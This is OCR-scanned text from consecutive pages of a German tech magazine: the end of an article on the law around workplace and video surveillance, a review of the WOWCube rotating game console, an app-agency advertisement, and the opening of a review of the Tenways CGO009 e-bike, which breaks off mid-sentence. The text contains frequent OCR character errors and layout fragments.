Uberwachung am Arbeitsplatz
Die Moglichkeiten moderner Arbeitneh-
meriiberwachung haben ein Ausmaf er-
reicht, das selbst George Orwell in seinem
dystopischen Roman ,,1984" kaum vor-
ausahnen konnte. Heutige Systeme er-
moglichen umfassende Kontrollen wie
Bildschirm-und Sprachaufnahmen, Web-
cam-Videos, Aktivitdtsprotokolle und de-
taillierte Nutzungsberichte. Solche ,,Boss-
ware” stammt meist aus den USA, wird
aber auch in Deutschland angeboten.

Anbieter von Uberwachungssystemen wie Genetec verpixeln aufgenommene
Personen zuweilen automatisch per Software. Wenn die Kameras auf Arbeits-
platze gerichtet sind, lassen sich Mitarbeiter meistens trotzdem identifizieren.
In der Regel ist eine solche permanente Uberwachung nicht erlaubt.
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Hierzulandeist der verdeckte Einsatz
solcher Technik am Arbeitsplatz - gerade
auch mit KI-Anwendungen - in den meis-
ten Fillen unzulissig. Bestimmte Prakti-
ken wie der Einsatz von Keyloggern kon-
nen sogar strafbar sein. Dennoch gibt es
Grauzonen, die von Arbeitgebern ausge-
lotet werden. Eine beliebte Methode ist es
beispielsweise, Leistungsprotokolle nur
denbetroffenen Mitarbeitern vorzulegen.
Sie sollen sich selbst motivieren und an-
strengen, ihre Leistung zu verbessern.

Die Gesetzgebung versucht, das
Machtgefille zwischen Arbeitgeber und
Arbeitnehmer auszugleichen. Zentral ist
dabeider grundgesetzliche Schutz der Per-
sonlichkeitsrechte der Arbeitnehmer, der
eine liickenlose technische Uberwachung
am Arbeitsplatz verbietet. Ziel ist es, psy-
chischen Dauerdruck durch permanente
Uberwachung zu vermeiden. Ausnahmen
konnen in eng begrenzten Fillen gerecht-
fertigt sein, wenn esum die Aufklarung von
Straftaten geht - sofern keine milderen ge-
eigneten Mittel fiir denselben Zweck zur
Verfligung stehen. Auch an besonders ge-
fahrdeten Orten wie in Bankgebduden oder
Maschinenhallen kann eine Kameratiber-
wachung zuléssig sein, sofern sich dort
keine Beschiftigten dauerhaft authalten.

Bestimmte Kontrollmafinahmen sind
jedoch zulassig. Arbeitgeber haben ein be-
rechtigtes Interesse daran, die Einhaltung
von Vorschriften und Pflichten zu iiberprii-
fen. In Hochsicherheitsbereichen kann eine
umfassende Mitarbeiteriiberwachung not-
wendig sein. Hier stehen die Personlich-
keitsrechte im Konflikt mit den Interessen
des Arbeitgebers, was eine Abwagung im
Einzelfall erfordert und oft zu gerichtlichen
Auseinandersetzungen fiihrt.

Kl an Bord

Nicht nurim Beschiftigtendatenschutzist
die Kombination von KI und Videoiiber-
wachung sehr kritisch. Diese Auffassung
findet sich auch in der kiirzlich verabschie-
deten europdischen Verordnung iiber die
kiinstliche Intelligenz (KIV) wieder. Diese
sollinsbesondere die biometrische Video-
identifikation zum Schutz der Grundrech-
te der EU-Biirger reglementieren und auf
bestimmte Ausnahmefille beschrinken.
Erwiagungsgrund 32 KIV erklart sogar
im Detail, warum der Gesetzgeber diese
Artder Personenerkennung fiir gefihrlich
halt: Der Einsatz von KI-Systemen zur bio-
metrischen Echtzeitidentifizierung nattir-
licher Personen in 6ffentlich zugénglichen
Riumen greift in besonderem Maf3e indie
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Rechte und Freiheiten der betroffenen
Personen ein. Sie wiirde die Privatsphare
eines grofden Teils der Bevolkerung beein-
trichtigen, ein Gefiihl stindiger Uberwa-
chung hervorrufen und Menschen indirekt
davon abhalten, Grundrechte wie die Ver-
sammlungsfreiheit wahrzunehmen.

Artikel 5KIV verbietet daher bestimm-
te Praktiken ginzlich. Dazu gehort bei-
spielsweise das Scraping von Portratbildern
aus dem Internet oder von Videotiberwa-
chungsaufnahmen, um Datenbanken fiir
die Gesichtserkennung zu erstellen. Verbo-
tenistauch der Einsatz von KI-gesteuerten
Emotionserkennungssystemen am Ar-
beitsplatz und in Bildungseinrichtungen,
sofern keine medizinischen oder sicher-
heitsbezogenen Griinde vorliegen.

Die Frage des Einsatzes biometrischer
Erkennungssysteme bei der Videotiber-
wachung durch staatliche Stellen war im
Gesetzgebungsverfahren sehr umstritten.
Grundsatzlichist dergleichen verboten, es
gibtjedoch eine Vielzahl von Ausnahmen,
etwa zur gezielten Suche nach Opfernvon
Entfiihrung oder Menschenhandel, zur
Abwehr einer konkreten Gefahr oder zur
Identifizierung von Verdichtigen bei
schweren Straftaten. Diese Ausnahmen
miissen zeitlich und rdumlich begrenzt
sein und bediirfen einer vorherigen rich-
terlichen oder behordlichen Genehmi-
gung. Zu einem grundsatzlichen Verbot,
das von vielen Seiten gefordert wurde,
konnte sich der europdische Gesetzgeber
nicht durchringen.

Viele andere KI-gestiitzte Uberwa-
chungsinstrumente sind nach den Anfor-
derungen der KIV als Hochrisiko-KI-Syste-
me einzustufen. Hierzuzahlt die nachtrag-
liche biometrische Identifizierung anhand
von Videoaufnahmen. Fiir solche Hoch-
risikotechnologien gelten strenge Anforde-
rungen hinsichtlich Risikobewertung,
Datenmanagement, technischer Doku-
mentation und menschlicher Aufsicht.

Informationspflichten

Die DSGVO legt groflen Wert auf Trans-
parenz. Verantwortliche miissen betroffe-
ne Personen tiber die Videoiiberwachung
informieren. Dies geschieht in der Regel
durch gut sichtbare Hinweisschilder (siche
Kasten).

Wenn solche Informationen fehlen,
droht ein Bufdgeld. Bei kleineren Unter-
nehmen oder einer unsachgemaf ausge-
richteten Videotiberwachung durch Pri-
vatpersonen ist dieses Risiko in der Regel
gering. Anders in einem Fall, tiber den die

c't 2024, Heft 17

niedersdchsische Aufsichtsbehdrde vor
zwei Jahren zu entscheiden hatte: Ganze
1,1 Millionen Euro muss Volkswagen da-
nach fiir Datenschutzverst6f3e im Rahmen
von Forschungsfahrten zahlen, bei denen
der Konzern die Funktion eines Fahrer-
assistenzsystems testete. Die Ingenieure
zeichneten das Verkehrsgeschehen rund
um das Fahrzeug zur spiteren Fehler-
analyse auf.

Die Behorde monierte unter ande-
rem, dass es keine Magnetschilder mit
Kamerasymbol am Auto gab; auch weitere
vorgeschriebene Informationen fiir ande-
re Verkehrsteilnehmer fehlten. Diese hit-
ten dariiber aufgeklart werden miissen,
wer sie zu welchem Zweck filmt.

Ein Teil der Geldbufde war auf das
Fehlen einer Datenschutz-Folgenabschit-
zung fiir das Projekt zuriickzufithren. Bei
Videoiiberwachungsmafinahmen, die in
der Regel ein hohes Risiko fiir die Rechte
und Freiheiten nattirlicher Personen ber-
gen, ist eine solche Risikoabschitzung
gemafd Artikel 35 DSGVO fast immer
durchzufiihren. Dies gilt insbesondere fiir
die Uberwachung offentlicher Riume
oder wenn neue Technologien wie Ge-
sichtserkennung und KI-gestiitzte Weiter-
verarbeitung eingesetzt werden.

Schlieflich verlangt die DSGVO auch,
beim Einsatz von Videoaufzeichnungen
stets geeignete technische und organisa-
torische Mafinahmen zu treffen, um die
Sicherheit der dabei erhobenen Daten zu
gewihrleisten. Das kann beispielsweise
die Verschliisselung der Datentibertra-
gung und der gespeicherten Daten betref-
fen. Auch Zugriffsbeschrankungen und
Passwortschutz oder die regelméfige Lo-
schung nicht mehr benétigter Aufzeich-
nungen konnen dazugehoren. Die Spei-
cherdauer der Videoaufzeichnungen ist
auf das erforderliche Minimum zu be-
schranken. Im Regelfall sollten die Auf-
zeichnungen nach wenigen Tagen, iibli-
cherweise 48 Stunden, geloscht werden -
es seidenn, sie werden zur Verfolgung von
Rechtsverstofden bendtigt.

Gegenwehr

Personen, die mit der Erfassung durch
Videoiiberwachung oder der Auswertung
durch KI nicht einverstanden und selbst
betroffen sind, haben nach der DSGVO
eine Reihe von Rechten. Dazu gehdren das
Auskunftsrecht, das Recht auf Loschung
und das Widerspruchsrecht. Verantwort-
liche miissen sicherstellen, dass sie diese
Rechte effektiv gewihrleisten konnen.

Hinweise zur
Videoliberwachung

Bei einer Videoliberwachung miissen

deren Betreiber die Betroffenen infor-

mieren, zum Beispiel mithilfe gut sicht-

barer Hinweisschilder. Darauf missen

folgende Informationen enthalten sein:

- Umstand der Beobachtung (z. B.
durch ein Kamerasymbol)

- Identitat und Kontaktdaten des Ver-
antwortlichen

- Kontaktdaten des Datenschutzbe-
auftragten (falls vorhanden)

- Zweck der Uberwachung und
Rechtsgrundlage

- Speicherdauer der Aufnahmen

- Hinweis auf die Betroffenenrechte

‘Name und Kontaktdaten des Verantwortiichen und ggf. seines Vertreters:

S

Kontaktdaten des Datenschutzbeauftragten (sofern vorhanden):

Zuecke und Rechisgrundlage der Datenverarbeitung:

Achtung

Videoiberwachung!

=

berechtigte Interessen, die verfolgt werden:

i die Festiegung der Dauer:

Die Landesdatenschutzbehorde
Niedersachsen halt Vorlagen bereit,
mit denen die Betreiber einer Video-
tiberwachung Betroffene informie-
ren kdnnen.

Ansonsten sind die Datenschutzbe-
horden desjeweiligen Bundeslandes erste
Anlaufstelle fiir Beschwerden gegen pri-
vate und behordliche MaSnahmen. Diese
werden den Sachverhalt priifen und im
Falle eines Verstofes gegen die DSGVO
Sanktionen gegen den fiir die Datenver-
arbeitung Verantwortlichen verhdngen.
Dazu gehort neben Bufdgeldern auch, die
weitere Datenverarbeitung zu untersagen.

Die Behorden einzuschalten, hat je-
doch einen Nachteil: Es kann Monate,
manchmal sogar ein Jahr dauern, bis diese
tatig werden. Wer schnellere Ergebnisse
braucht, kann sich zunachst selbst an den
Betreiber wenden und zum Beispiel die
Loschung der Aufnahmen verlangen, auf
denen er zu sehen ist. Bleibt dieser untitig,
lohnt sich der Weg zum Anwalt, der mit
einem Schreiben die Rechte des Betroffe-
nengeltend machen und beispielsweise den
Abbau einer allzu neugierigen Nachbars-
kamera verlangen kann.  (hag@ct.de) c&
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Wunderwurfel

WOWCube: Drehbare Spielkonsole im Test

Der Zauberwiirfel aus den 80ern
als Spielkonsole - das ist die
Idee des WOWCube. Die Macher
haben dazu einen 2x2x2-Wiirfel
mit Technik vollgestopft und alle
24 Flachen mit Bildschirmen
ausgestattet. Das erlaubt bis-
lang unbekannte Spielkonzepte.

Von Wilhelm Drehling

Rund zwei Jahre nach der Bestellung
steht der WOWCube, eine Spielkon-
sole der besonderen Art, endlich aufunse-
rem Priifstand. Der edel aussehende Wiir-
fel ist seidig schwarz und erinnert an
einiiberdimensioniertes 2x2-Drehpuzzle,
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den kleinen Bruder des Zauberwiirfels.
Nur kostet dieser nicht wie seine Verwand-
ten etwa 20 Euro, sondern fast 300 US-
Dollar (circa 280 Euro). Kein Wunder bei
der Masse an darin verbauter Elektronik.

Ausgepackt fallen direkt die flachen-
fiillenden Bildschirme ins Auge: 24 IPS-
Displays mit je 240 x 240 Pixel. Jede Ecke
des Wiirfelsist ein eigenes Modul, das mit
drei Bildschirmen, einem Akku, einem
Lautsprecher und einer eigenen CPU aus-
gestattet ist (siche Bild

dule fest, gleichzeitig kiimmert er sich um
die Drehungen der einzelnen Ebenen.
Dazu gleich mehr.

Erster Eindruck

Weil die viele Elektronik irgendwo hin
muss, misst der Wiirfel tippige 69 x 69 X
69 Millimeter bei einem Gewicht von stol-
zen 400 Gramm. Mit den Maf3en liegt er
gutinder Hand, aber wegen des Gewichts
und der glatten Oberflache hat man stan-
dig Angst, dass er herunterfallen und am
Boden zerschellen konnte. Fingerabdri-
cke fallen kaum auf] weil die Oberfliche
des Wiirfels speziell beschichtet wurde.
Die wenigen Schlieren sind leicht mit dem
mitgelieferten Mikrofasertuch wegge-
wischt.

In der uns vorliegenden ,,Space Inva-
ders“-Version (400 US-Dollar) nimmt der
Grof3teil der Verpackung das Zubehor ein.
Darunter befinden sich eine Aufbewah-
rungsbox, ein Ersatzkern, ein Schrauben-
dreher, Gummiecken, um den Wiirfel vor
Stofden zu schiitzen, sowie kurioserweise
gleich zwei baugleiche Ladegerite samt
USB-C-Kabel und Ladestation.

Nach dem Abziehen der Akkulasche
startet der Wiirfel und gibt frohlich Tone
von sich. Um in das Hauptmenii zu gelan-
gen, muss man ein kleines Tutorial durch-
spielen, indem man alle Grundeigenschaf-
ten des Wiirfels einmal testet: einzelne
Ebenen drehen, mit einem Finger sanft
zweimal auf die Oberfliche klopfen und
den Wiirfel in bestimmte Richtungen nei-
gen. Jede erfiillte Aufgabe signalisiert der
Wirfel mit einer Melodie. Nach dem Tu-
torial 6ffnet sich das Hauptmenti, in dem
schon ein paar Apps vorinstalliert sind.
Das Betriebssystem ist vollstindig auf
Englisch, andere Sprachoptionen gibt es
nicht.

Bedienung

Jede Seite hat Platz fiir vier Apps, je eine
pro Bildschirm (siehe Bild rechts). Da der
Wiirfel kein Touch hat, haben sich die Er-
finder ein cleveres Auswahlsystem ausge-
dacht: Im Wiirfel steckt ein elektronisches
Gyroskop, das er-

auf S. 95). Damit die
Module wahrend des
Spielens miteinander
kommunizieren kon-

Frisch aus

¢t Nerdistan

kennt, wie man den
Wiirfel neigt. Durch
Drehen und Neigen
des Wiirfelslenkt man

nen, sind an den in-

nenliegenden Flachen Magnetkugeln be-
festigt, die Daten libertragen konnen und
die Module mit Ladestrom versorgen. Ein
Kern im Inneren des Wiirfels halt die Mo-

Figuren durch Spiele
und bewegt im Menii einen sechseckigen
Cursor iiber die Bildschirme. Klopft man
nun zweimal gegen die Oberfliche, startet
der Wiirfel die App, deren Icon vom Hexa-
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gonumrahmtist. Das Doppeltippen funk-
tioniert leider mehr schlecht als recht:
Hiufig erkennt der Wiirfel das Signal nicht
und man muss manchmal etwas starker
gegen den Wiirfel tippen, als einem lieb
ist. Es funktioniert gefiihlt besser, wenn
man auf die untere Halfte des Wiirfels
klopft als obendrauf.

In der App angekommen, startet man
das Spiel haufig mit einem dreifachen
Klopfen oder der Drehung einer Ebene.
Um aus einer App ins Hauptmenti zurtick-
zukehren, muss man den Wiirfel dreimal
schiitteln. Nur nicht zuwild, damit er nicht
aus der Hand fliegt.

Das Drehen der Wiirfelebenen will zu
Beginn nicht so wirklich klappen. Es fiihlt
sich so an, als wiirde beim Drehen die Me-
chanik im Inneren verhaken; erst eine
Drehung der Ebene in die entgegengesetz-
te Richtung l6st die Spannung - in etwa so
wie bei einem originalen Rubik’s Cube.

Daskannentweder daranliegen, dass
der Wiirfel zu fest oder zu lose eingestellt
ist. Denn genau so wie bei Zauberwtirfeln
gibt es auch im WOWCube einen Kern,
der alle Eckteile des Wiirfels in seiner
Position halt. Wie stark die Teile an den
Kern gepresst werden, hingt von insge-
samt sechs Schrauben ab, die sich jeweils
in der Mitte einer Ebene befinden.

Es gibt unterschiedliche Mdoglichkei-
ten, das beste Setup flir den Wiirfel zu fin-
den. Bewihrt hat sich die Methode, die
Speedcuber zum Einstellen ihrer Wiirfel
benutzen und die ein YouTube-Video des
WOWCube-Chefszeigt (siche ct.de/yjqa):
mit dem Schraubendreher alle sechs
Schrauben so weit anziehen, bis sich der
Wirfel nicht mehr bewegt. Anschliefend
jede Schraube um das gleiche Maf3lockern
und jedes Mal ausprobieren, ob der Wiirfel
sichangenehm und ohne zu verhaken dre-
hen ldsst. Bei unserem Wiirfel erreichten
wir das beste Ergebnis nach 1,75 Drehun-
gen.

Apps und Spiele

Auf dem Wiirfel sind ein paar Bildschirm-
schoner wie ,,Bubbles® oder ,,Aquarium®
sowie ein paar Spiele wie ,,Space Invaders"
oder ,,Ladybug vorinstalliert. Neue Spie-
le fiir den WOWCube holt man sich iiber
die Smartphone-App WOWCube Con-
nect, die sich via Bluetooth mit dem Wiir-
fel verbindet (siehe ct.de/yjqa).

Die App gibt es fiir Android und iOS.
Darin meldet man sich mit dem WOW-
Cube-Account an, verbindet den Wiirfel
via Bluetooth mit dem Smartphone und
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Bild: WOWCube

kann darauthin Apps herunterladen. Im
Test dauerte die Ubertragung und die In-
stallation eines Spiels wenige Minuten.

Die Smartphone-App geht aber tiber
den Einsatzzweck eines Stores hinaus:
Man kann mit ihr auch Firmware-Updates
einspielen, Helligkeit und Ton steuern,
den Screensaverindividualisieren und die
Apps sowie spezielle Widgets wie das Wet-
ter an bestimmte Felder im Wiirfel plat-
zieren. Uber die App konnten wir so das
Betriebssystem direkt von Version 1.7.1 auf
die aktuelle Version 1.8.13 aktualisieren,
was problemlos klappte.

Der Store enthilt aktuell 36 Spiele,
darunter auch namhafte lizenzierte Titel
wie ,,Cut the Rope” oder ,,Space Invaders".
Dartiber hinaus gibt es dort zehn weitere
Appswie Timer, Wecker oder eine Schach-
uhr. Heraus sticht das Spiel ,,Classic Cube”,
mit dem man den Wiirfel wie einen klas-
sischen 2 x 216sen kann - nur speedcuben
sollte man damit nicht.

Ein Grofdteil der Apps ist kostenfrei,
andere wiederum muss man fiir soge-
nannte Cubecoins kaufen. Das ist die
Waihrung des Stores, die man im Verhélt-
nis 1zulgegen US-Dollar erwerben kann.
Einige der Spiele kosten wenige Cube-
coins, Special-Editions wie Space Invaders
oder Cut The Rope dagegen happige 30
Cubecoins. Beim Kauf des Wiirfels lag je-
doch ein Gutschein in Hohe von 50 Cube-
coins dabei, mit dem man zumindest ein
paar der Spiele kaufen kann.

Spielerfahrung

Auf den ersten Blick unterscheidet sich
Space Invaders Cubed kaum von seinem
2D-Pendant: Es gibt ein Raumschiff und
Gegner, die sich reihenweise auf den Spie-
ler zubewegen. Doch die 3D-Variante ist

Drehbare Spielkonsole | Test & Beratung

Das Hauptmenii fasst maximal 24 Apps,
die man mit dem Drehen des Wiirfels
durcheinander bringen kann.

imwahrsten Sinne des Wortes vielseitiger,
denn die feindlichen Schiffe konnen nun
aus mehreren Richtungen angreifen und
mit Bewegungen der Ebenen kann man
das Spielfeld verandern: zum Beispiel geg-
nerische Schiffe in die Zielbahn der Schiis-
se bewegen oder zu nahe gekommene
Feinde zur Seite ,wegdrehen®. Hinzu
kommt, dass man die Schussrichtung des
eigenen Raumschiffs mit Neigen des Wiir-
fels steuert. In einer hitzigen Schlacht be-
kommt man so nicht viel Zeit, die Situa-
tion ausgiebig zu analysieren, was den
Spielspafd ausmacht.

Das zweite stark beworbene Spiel Cut
the Rope sieht aus wie der Klassiker und
funktioniert auch so, doch das Spielfeld
verteilt sich nun auf dem gesamten Wiir-
fel. Schntire zertrennt man mit einer Dre-
hung einer Ebene, die wie schon bei Space
Invaders Teile des Levels verschiebt. Auf
einmal ist es sehrviel schwerer, Sterne ein-

\,

Der WOWCube be-
steht aus mehreren
Modulen: Jede
Ecke hat drei Bild-
schirme, einen
Akku, einen Laut-
sprecher und eine
eigene CPU. Uber
Magnetkugeln an
der AuBenseite
kommunizieren die
Module unter-
einander, auch
dann, wenn man
gerade am Wiirfel
dreht.
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zusammeln, den Bonbon zum griinen
Wesen zurollen und dabei keine Fehler zu
machen. Hat man sich daran gewohnt,
macht es Spaf3, neue Wege zu ergriinden,
um alle Sterne einzusammeln.

Wegen der ungewohnten Spielweise
und der Moglichkeit, das Spielfeld zu ver-
andern, muss man griindlicher iiber die
nichsten Schritte nachdenken als beim
Originalspiel. Daher ist es kein Wunder,
dass ein Grofiteil der verfiigbaren Spiele ins
Puzzle-Genre fallen. Weil es noch nicht so
viele Spiele gibt und sich die Spielmechanik
aufgrund der Natur des Wiirfels hiufig wie-
derholt, kann es auf Dauer langweilig wer-
den, wenn sich die Spiele lediglich im
Design unterscheiden. Nichtsdestotrotz
haben uns im Test der Klassiker ,,2048
und die Spielreihe ,,Pixel World“ gut ge-
fallen. 2048 funktioniert wie der Smart-
phone-Klassiker, man muss diesmal aber
um die Ecke denken, denn aufgrund der
Bewegungen der Ebenen ist es gar nicht so
leicht, Zahlenkacheln miteinander zu ver-
binden. Pixel World dagegen ist ein Puzzle-
spiel: Berithmte Sehenswiirdigkeiten sind
auf der Oberfliche durcheinandergewtir-
felt und man muss diese mit gezielten Be-
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Mit der App WOWCube Connect lassen
sich nicht nur Apps installieren, sondern
auch Einstellungen an Helligkeit und Ton
vornehmen oder sogar Betriebssystem-
updates durchfiihren.

In dem Puzzle-Spiel ,,Steam Pipes” muss
man die auseinandergerissenen Rohre
durch Drehen der Ebenen wieder mit-
einander verbinden.

wegungen der Ebenen zurechtbewegen.
Nach jedem gelosten Bild erhélt man Fak-
ten tiber den Ort. Allerdings kostet jedes
Spiel aus der Reihe vier Cubecoins und bei
sechs Spielen blickt man schnell auf einen
Einkaufvon 24 US-Dollar.

Der Wiirfel eignet sich auch als nerdi-
ge Nachtlampe auf der Ladestation: Zur
Wahl stehen eine Lavalampe (Nightlamp),
Fische in einem Aquarium oder Blubber-
blasen, die langsam tiber den Bildschirm
wandern (Bubbles, siche Bild obenrechts).

Ein Grofdteil der Apps hat die Firma
hinter dem WOWCube Cubios Inc. ent-
wickelt, einige andere stammen von Ent-
wicklern, die Apps mit dem hauseigenen
Devkit erstellt haben (siehe ct.de/yjqa).

Letzte Worte

Der WOWCube ladt sehr flott auf], in unse-
rem Test benotigte der Wiirfel von O auf
100 Prozent etwa 2,5 Stunden. Der Herstel-
ler verspricht, dass eine Akkuladung fiir
fiinf Stunden Spielzeit reicht, was wir im
Test in etwa auch geschafft haben. Kleiner
Tipp: Der Standby saugt den Akku im
Handumdrehen leer, bereits nach zwei
Tagen war der Wiirfel wieder tiefentladen.
Man sollte den Wiirfel also am besten aus-
schalten oder zuriick auf die Ladestation
stellen.

Der WOWCube ist grundsolide ver-
arbeitet: Es knarzt nichts, die Bildschirme
sind biindig in die Flichen eingelassen
und strahlen in knackigen Farben. Auch
bei unglinstigen Lichtverhaltnissen wie
Dunkelheit oder grellem Sonnenlicht kann
man alles erkennen, selbst bei nur 65 Pro-
zent Helligkeit. Leider hat der WOWCube

Die App ..Bubbles” stellt Blasen in unter-
schiedlichen Farben dar, die langsam
tiber die Bildschirme wabern. Weniger
nitzlich, aber schon anzusehen.

noch ein paar Kinderkrankheiten, iiber die
man hinwegsehen kann, weil man dafiir
ein cooles Produkt erhilt. Zum Beispiel
schloss sich einmal die App nicht vollstin-
dig, was zwei der Module weiter leuchten
lief3. Erst mit einem Neustart des Wiirfels
iiber die Reset-Funktion an der Ladesta-
tion war das Problem behoben.

Mit fast 280 Euroist der Wiirfel ange-
sichts des Nutzens verdammt teuer, auch
wenn alleine schon die umfangreiche
Elektronik den Preis rechtfertigt. Hinzu
kommt hierzulande, dass man fiir den
Wiirfel noch Einfuhrzoll zahlen muss, was
zusitzlich zum Verkaufspreis mit 65 Euro
zu Buche schligt. Fiir das Geld bekommt
man ein nerdiges Gadget, das Spafd macht.
Damit das auf Dauer so bleibt, ist zu hof-
fen, dass sich der App-Store ziigig mit
mehr Spielen und Apps fiillt, die die Be-
sonderheit der Bedienung ausnutzen.

(wid@ct.de) ¢t

WOWCube, Devkit und mehr: ct.de/yjqa

WOWCube Space
Invaders Edition

Drehbare Spielkonsole

Hersteller, URL Cubios Inc., wowcube.com

Mae (H X BXT), 69 mm X 69 mm X 69 mm, 405 g
Gewicht
Bildschirme, 24 1PS-Bildschirme, 240 x 240 Pixel
Auflosung
Akku, Kapazitat Li-lon, 8 X 420 mAh

(insgesamt 3360 mAh)
Features Bluetooth 4.2, 6-axis IMU (Gyroskop)
Preis Starter Pack 300 US-$ (280 €),

Cut the Rope/Space Invaders Edition
400 US-$ (370 €), Black Edition 500 US-$
(465 <€; alle Preise ohne Zoll und Versand)
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Aktivieren Sie

lhre Kunden und
generieren Sie
Umsatz mit lhrer
neuen Firmen-App!

Schreiben Sie das Kapitel Kundenbindung neu
und lassen Sie sich eine Firmen-App erstellen!
Individuell und glinstig: Suchen Sie sich aus mehr
als 30 Funktionen die fiir Sie passenden Module
heraus. Als App-Agentur erstellen wir lhre App zum
Festpreis und bieten lhnen dazu weitere Services.

Mehr tiber Firmen Apps erfahren Sie auf heise-apps.de
oder rufen Sie uns an 0511 80 90 89 43.
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E-Cruiser

Komfortables Smart Bike Tenways

CGOO009 im Test

Breite Schlappen, Diebstahl-
schutz per App und ein Rahmen
in Einheitsgré6Be kennzeichnen
das E-Bike von Tenways. Opti-
sche Anleihen bei anderen
Smart Bikes sind kaum zu liber-
sehen. In Sachen Fahrverhalten
ist ganz klar VanMoof das Vor-
bild.

Von Robin Brand

as Tenways-E-Bike mit dem sperrigen

Namen steht auf 2,15 Zoll breiten
28-Zoll-Reifen, der geschwungene Kom-
fortlenker entlarvt es als eher gemiitlichen
Vertreter seiner Gattung. Den Alurahmen
des CGO009 montiert der Hersteller in
blau, griin oder schwarz lackiert, aber in
nur einer Grofde. Die soll Menschen mit
Korpergrofien zwischen 1,65 bis 2 Meter
passen. Naturgemaf$ fithlt man sich am
wohlsten, wenn man etwa in der Mitte

liegt, doch es gibt eine Besonderheit: Wih-
rend viele One-fits-all-Rahmen Menschen
am oberen Ende der Skala zu klein sind,
aber Kkleineren passen, ist es beim
CGOO009 genau andersherum. Eine 1,67
Meter grof3e Testfahrerin forderte vor dem
Aufsteigen einen Hocker (und schaffte es
dann doch ohne). Jeder Ampelhalt wurde
auf dem Rad mit 85,2 Zentimetern Uber-
standshohe zum Balanceakt. Der grofite
Testfahrer (1,97 Meter) fiihlte sich dage-
gen pudelwohl auf dem Tenways. Da sich
das Rad mit proprietirem Lenker kaum
anpassen lasst, sollte, wenn moglich, vor
dem Kauf eine Probefahrt stehen.
Tenways schickt das CGO009 mit
Heckgepéacktriger (aber ohne Federklap-
pe), Seitenstdnder und Schutzblechen auf
die Reise. Ab Werk ist ein gemiitlicher
Selle-Royal-Sattel montiert. Die profil-
armen Reifen (CST Quantum) rollen wi-
derstandsarm tiber Asphalt. Obwohl das
Rad keine Federung hat, fahrt es sich auf
Schotterpisten recht angenehm. Aller-
dings darf man die fetten Reifen nicht
allzu fest aufpumpen, damit diese kleine-

re Unebenheiten schlucken. Angesichts
des Gewichts von fast 25 Kilogramm (das
zuldssige Gesamtgewicht liegt bei 145 kg)
ist es etwas verwunderlich, dass Tenways
das CGOO0O09 als Singlespeeder baut.
Lauft unterwegs mal der Akku leer, wer-
den vor allem Anfahrten und Steigungen
mit der groflen Ubersetzung zur Qual. Der
Riemenantrieb besteht aus einem Mix aus
wartungsarmen Gates CDN- und CDX-
Komponenten. Die hydraulischen Tektro-
Scheibenbremsen packen nach kurzer
Einfahrzeit beherzt zu. Das Riicklicht und
dasim tiber die Gabel verlingerten Ober-
rohr sitzende Frontlicht (hallo, VanMoof)
versorgt der Akku mit Strom. Der Motor
sitztin der Hinterradnabe. Er leistet die in
Deutschland maximal erlaubte Nenn-
dauerleistung von 250 Watt und entfaltet
eine Kraft von maximal 45 Nm.

Anders als manch andere Smart Bikes,
zum Beispiel die von Cowboy, Urtopia
oder VanMoof, muss man das Tenways
CGOO009 nicht vor der ersten Fahrt mit
einem Smartphone koppeln. Die zugeho-
rige App ist optional. Ohne Smartphone
lasst sich das Rad iiber das linke Knopf-
chen einer links am Lenker befestigten
Vierwegewippe einschalten. Uber diese
wechselt man auch zwischen den drei
Unterstiitzungsstufen oder schaltet das
Lichtein. Unterhalb des Steuerkreuzes be-
findet sich ein Boost-Knopf, der kurzzeitig
die maximale Kraft des Motors freigibt.
Schiebt man das Rad, aktiviert das Knopf-
lein die Schiebehilfe. Aufder rechten Seite
desLenkersinformierenje drei LEDs tiber
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die aktuelle Unterstiitzungsstufe und den
Akkufillstand.

Um die App zu benutzen, ist ein Ten-
ways-Konto erforderlich. Sie zeigt die zu-
riickgelegten Gesamtkilometer auch an,
wenn man ssie erst nachtréiglich einrichtet.
Um Touren getrennt zu erfassen, stofdt der
Nutzer entweder fiir jede Fahrt manuell
eine Aufzeichnung an oder er aktiviert den
entsprechenden Automatikmodus in der
App. Legten wir wihrend einer Tour eine
Pause ein, erkannte die App das meist
nicht und wertete die Strecke als getrenn-
te Fahrten. Fiir die Navigation greift Ten-
ways auf die Dienste des amerikanischen
Anbieters Mapbox zuriick. Erfreulich ist,
dass die App meist mehrere Routen vor-
schligt und viele Fahrradwege kennt. Dass
man sein Rad auch iiber Fufdgiangeram-
peln schieben kann, um Strafden zu que-
ren, weifd sie dagegen nicht. Haufig schick-
te sie uns lber lange Umwege bis zur
nichsten Stelle, an der auch Autos legal
einen U-Turn fahren diirfen.

Inder App hat man stets den Standort
des Rads im Blick. Bei welchen Ereignis-
sen - Sturz, jemand betdtigt den Ein-
schalter oder entnimmt den Akku-sie sich
per Pushbenachrichtigung meldet, lasst
sich detailliert einstellen. Auch sichere
Zonen, innerhalb derer sie keine Warnun-
gen verschickt, kann man einrichten. Je

Alarmeinstellung

Leichte Bewegung

(25 Akku ausg

Q) Fahrrad eingeschaltet

Bei welchen Ereignissen das Rad per
Push-Benachrichtigung Alarm schlagt,
kann man in der App festlegen.
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enger man das Rad mit der App verheira-
tet, desto wirksamer ist der Diebstahl-
schutz. Wer mochte, deaktiviert die Vier-
wegewippe. Dann aktiviert sich das Rad
nur noch, wenn sich sein Besitzer mitdem
Handyin der Nihe befindet und es per App
entsperrt. Wahrend er den Umzug auf ein
neues Smartphone mit demselben Profil
selbst erledigen kann, muss er den Support
kontaktieren, wenn er das Rad verkaufen
und auf einen neuen Besitzer tibertragen
will. Der Ortungsservice ist ab der Aktivie-
rung drei Jahre inbegriffen und kostet da-
nach 30 Euro im Jahr. Eine Smartphone-
halterung fiir den Lenker legt Tenways
dem CGOO0O09 nicht bei.

Im Sattel

Die erste Ausfahrt auf dem CGOO0O09 be-
statigt den optischen Eindruck: Das Rad ist
ein gemiitlicher Vertreter seiner Gattung.
Der Hinterradnabenmotor schiebt gutmii-
tigan. Das schwere Rad mit 1,18 Meter Rad-
stand fahrt sich satt mit souverdnem Gera-
deauslauf. In den ersten beiden Unterstiit-
zungsstufen fuhren wir bei geringem Kraft-
einsatz Geschwindigkeiten um 20 bis 23
km/h. Inderhochsten Unterstiitzungsstufe
halt man ohne viel eigenes Zutun 25 km/h
-allerdings nurim Flachen. Sobald es berg-
auf geht, verlangt das Tenways tatkriftige
menschliche Unterstiitzung und wirkt arg
behibig, weil der Motor spiirbar an seine
Grenzen gerit; unabhingig davon, ob ein
leichter oder schwerer Testfahrer im Sattel
